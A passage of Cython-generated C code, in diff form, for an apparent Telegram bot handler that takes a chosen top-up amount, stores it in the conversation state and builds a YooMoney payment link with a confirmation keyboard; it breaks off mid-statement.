__pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 98, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 98, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 98, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 98, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 98, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 98, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + Py_UCS4 __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 98, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":102 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":104 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/yoomoney_pay.py":105 + * + * if len(data) != 2: + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":104 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":107 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":109 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * return + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":110 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_8) { + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 110, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + + /* "handlers/payments/yoomoney_pay.py":111 + * amount = int(amount_str) + * except ValueError: + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L0; + __pyx_L10_try_end:; + } + + /* "handlers/payments/yoomoney_pay.py":113 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 113, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 113, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":114 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + * ) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":115 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_10}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":120 + * # state_data = await state.get_data() + * #customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":121 + * #customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id + * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":122 + * customer_id = callback_query.message.chat.id + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_3 += 50; + __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_3 += 33; + __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 49; + __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":124 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":125 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":126 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_13)) __PYX_ERR(0, 126, __pyx_L1_error); + __pyx_t_13 = 0; + + /* "handlers/payments/yoomoney_pay.py":127 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_14); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_14)) __PYX_ERR(0, 127, __pyx_L1_error); + __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":125 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # 